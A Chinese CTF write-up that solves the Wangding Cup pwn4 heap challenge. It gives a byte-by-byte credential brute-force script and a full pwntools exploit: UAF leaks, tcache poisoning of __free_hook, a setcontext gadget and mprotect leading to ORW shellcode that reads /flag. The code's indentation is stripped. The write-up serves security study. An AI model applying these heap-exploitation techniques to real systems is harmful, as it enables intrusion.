前言

复现了一下去年网鼎杯青龙组pwn4题目,学了一下新的东西

爆破用户名与密码

from pwncli import *
from time import *
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
p=process('./pwn')
username=b''
while True:
r=''
for i in range(31,128):
username+=chr(i).encode()
username+=b'\x00'
sla("username:\n",username)
r=p.recvline()
print(r)
if b'correct' in r:
print("the correct username:",username)
break
if b'length!' not in r:
username=username[:-2]
else:
username=username[:-1]
break
if b'correct' in r:
break
password=b''
sla("password:\n",b'a\n\x00')
while True:
r=''
for i in range(31,128):
password+=chr(i).encode()
password+=b'\x00'
#sleep(0.1)
sla("username:\n",username)
sla("password:\n",password)
r=p.recvline()
print(r)
if b'correct' in r:
print("the correct password:",password)
break
if b'length!' not in r:
password=password[:-2]
else:
password=password[:-1]
break
if b'correct' in r:
break
ti()

strlen遇到\x00会截断,因此我们可以实现逐个字节爆破,爆破脚本如上

分析题目

随意的uaf,开了沙箱,需要使用orw

glibc2.27版本

一开始考虑使用堆栈结合,先泄漏libc地址,再通过environ泄漏栈地址,最后打orw

但是程序没有办法通过envrion泄漏栈地址,具体原因是在save_data函数里面,申请堆块的同时要求必须写入,并且写入的时候会在最后添加\x00,这也就意味着即使我们能够申请到environ附近,也会导致根本无法泄漏数据,因为泄漏的数据全部都是自己写的,\x00会截断。

之前已经学到了使用setcontext中的gadget来实现orw,但是没有实践过,这个题目刚好可以实践。

setcontext

https://blog.wingszeng.top/pwn-glibc-setcontext/

因为题目的glibc版本是2.27,因此比较好利用setcontext。

.text:0000000000052050                               ; __int64 __fastcall setcontext(__int64)
.text:0000000000052050 public setcontext ; weak
.text:0000000000052050 setcontext proc near ; CODE XREF: sub_58680+C↓p
.text:0000000000052050 ; DATA XREF: LOAD:0000000000009058↑o
.text:0000000000052050 ; __unwind {
.text:0000000000052050 57 push rdi
.text:0000000000052051 48 8D B7 28 01 00 00 lea rsi, [rdi+128h] ; nset
.text:0000000000052058 31 D2 xor edx, edx ; oset
.text:000000000005205A BF 02 00 00 00 mov edi, 2 ; how
.text:000000000005205F 41 BA 08 00 00 00 mov r10d, 8 ; sigsetsize
.text:0000000000052065 B8 0E 00 00 00 mov eax, 0Eh
.text:000000000005206A 0F 05 syscall ; LINUX - sys_rt_sigprocmask
.text:000000000005206C 5F pop rdi
.text:000000000005206D 48 3D 01 F0 FF FF cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000052073 73 5B jnb short loc_520D0
.text:0000000000052073
.text:0000000000052075 48 8B 8F E0 00 00 00 mov rcx, [rdi+0E0h]
.text:000000000005207C D9 21 fldenv byte ptr [rcx]
.text:000000000005207E 0F AE 97 C0 01 00 00 ldmxcsr dword ptr [rdi+1C0h]
.text:0000000000052085 48 8B A7 A0 00 00 00 mov rsp, [rdi+0A0h]
.text:000000000005208C 48 8B 9F 80 00 00 00 mov rbx, [rdi+80h]
.text:0000000000052093 48 8B 6F 78 mov rbp, [rdi+78h]
.text:0000000000052097 4C 8B 67 48 mov r12, [rdi+48h]
.text:000000000005209B 4C 8B 6F 50 mov r13, [rdi+50h]
.text:000000000005209F 4C 8B 77 58 mov r14, [rdi+58h]
.text:00000000000520A3 4C 8B 7F 60 mov r15, [rdi+60h]
.text:00000000000520A7 48 8B 8F A8 00 00 00 mov rcx, [rdi+0A8h]
.text:00000000000520AE 51 push rcx
.text:00000000000520AF 48 8B 77 70 mov rsi, [rdi+70h]
.text:00000000000520B3 48 8B 97 88 00 00 00 mov rdx, [rdi+88h]
.text:00000000000520BA 48 8B 8F 98 00 00 00 mov rcx, [rdi+98h]
.text:00000000000520C1 4C 8B 47 28 mov r8, [rdi+28h]
.text:00000000000520C5 4C 8B 4F 30 mov r9, [rdi+30h]
.text:00000000000520C9 48 8B 7F 68 mov rdi, [rdi+68h]
.text:00000000000520C9 ; } // starts at 52050
.text:00000000000520CD ; __unwind {
.text:00000000000520CD 31 C0 xor eax, eax
.text:00000000000520CF C3 retn

可以看到从52085开始,就是通过rdi来给寄存器赋值。当我们将__free_hook函数改成这里的libc+52085时,我们去free一个堆块,其中rdi也就是这个堆块的地址,我们在这个堆块中填充数据,就可以修改寄存器的值。其中可以通过修改rcx来劫持控制流。

具体思路:

首先找一个堆块,在这个堆块上伪造一个返回地址,充当栈结构,同时在这个堆块后面可以写入shellcode,当然是orw的shellcode,之后我们再伪造一个堆块,第二个堆块是要free掉的,因此在这上面填充数据以修改寄存器的值,之后就是利用tcache poisoning来申请到free_hook区域,然后改写free_hook为libc+52085,接下来释放掉第二个堆块即可。

exp

from pwncli import *
from Crypto.Cipher import ARC4
from Crypto.Util.number import bytes_to_long
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

def dbg():
gdb.attach(p,'b* $rebase(0x1A98)\nhandle SIGALRM nostop\nb* $rebase(0x1407)')
def pp64(*args):
payload=b''
for i, arg in enumerate(args):
payload+=p64(arg)
return payload
def rc4_decrypt(data:bytes,key=b's4cur1ty_p4ssw0rd'):
cipher = ARC4.new(key)
return cipher.decrypt(data)
# 定义一个函数cmd,参数为c
def cmd(c):
# 使用sla函数,参数为"> \n"和c的字符串形式
sla("> \n",str(c))
p=process('./pwn')
libc=ELF('./libc.so.6')
username="tgrddf55\x00"
password="my_password\x00"

sla("username:\n",username)
sla("password:\n",password)
def save_data(key,size,content=b'a'):
cmd(1)
sla("Input the key: \n",str(key))
sla("size: \n",str(size))
sla("value: \n",content)
def read_data(key):
cmd(2)
sla("Input the key: \n",str(key))
def delete_data(key):
cmd(3)
sla("Input the key: \n",str(key))
def edit_data(key,content):
cmd(4)
sla("Input the key: \n",str(key))
sla("value: \n",content)
for i in range(4):
save_data(i,0x100) #0-3
for i in range(7):
delete_data(0)

read_data(0)
a=ru(",")
b=ru(",")
c=p.recv(8)
heap_base=uu64(rc4_decrypt(c))#-0x10
leak("heap_base",heap_base)

delete_data(1)

read_data(1)
a=ru(",")
b=ru(",")
c=p.recv(8)
libc_base=uu64(rc4_decrypt(c))+0x749445000000-0x7494453ebca0
leak("libc_base",libc_base)
set_context=libc_base+0x52085
free_hook=libc_base+libc.sym['__free_hook']

#填充栈结构+shellcode
heap4_addr=heap_base+0x5c521931cab0-0x5c521931c670
flag_addr=heap4_addr+0x150
shellcode_addr=heap4_addr+0x20
shellcode=''
shellcode+=shellcraft.open('/flag',0,0)
shellcode+=shellcraft.read('rax',flag_addr,0x100)
shellcode+=shellcraft.write(1,flag_addr,'rax')# 1 stdout 2 stderr
shellcode=asm(shellcode)
stack=p64(0)*2+p64(shellcode_addr)+p64(0)

stack+=shellcode
print(stack.hex())
t=rc4_decrypt(stack)
print(t.hex())
#dbg()
save_data(4,0x250,rc4_decrypt(stack)) 、

# 填充数据,之后要释放掉这个堆块
rsp=heap4_addr+0x10 # 0xa0
rdi=(heap_base>>12)<<12 #0x68
rsi=0x1000 # 0x70
rdx=7 #0x88
rcx=libc_base+libc.sym['mprotect'] # 0xa8
victim=b''
victim=victim.ljust(0x68,b'\x00')
victim+=p64(rdi)
victim+=p64(rsi)
victim=victim.ljust(0x88,b'\x00')
victim+=p64(rdx)
victim=victim.ljust(0xa0,b'\x00')
victim+=p64(rsp)
victim+=p64(rcx)
save_data(7,0x270,victim)

#tcache poisoning 申请到free_hook,改写它
edit_data(0,rc4_decrypt(p64(free_hook)))
save_data(5,0x100)
save_data(6,0x100,rc4_decrypt(p64(set_context)))

#gdb.attach(p,'b* $rebase(0x167A)\nhandle SIGALRM nostop')
delete_data(7)
#gdb.attach(p,'b* $rebase(0x152C)\nhandle SIGALRM nostop')

ti()

注意点

这个题目自己实现了read函数,读到\n时结束,并把\n转换成\x00。

并且内容全部使用rc4来加密解密。

我在填充shellcode堆块时,发现总是解密的不对,最后发现是读取问题,因为rc4的加密可能会导致某些字节变成\n,就导致后面无法读入,因此要注意调整shellcode堆块的结构,以免出现\n。(这个地方折磨了我好久)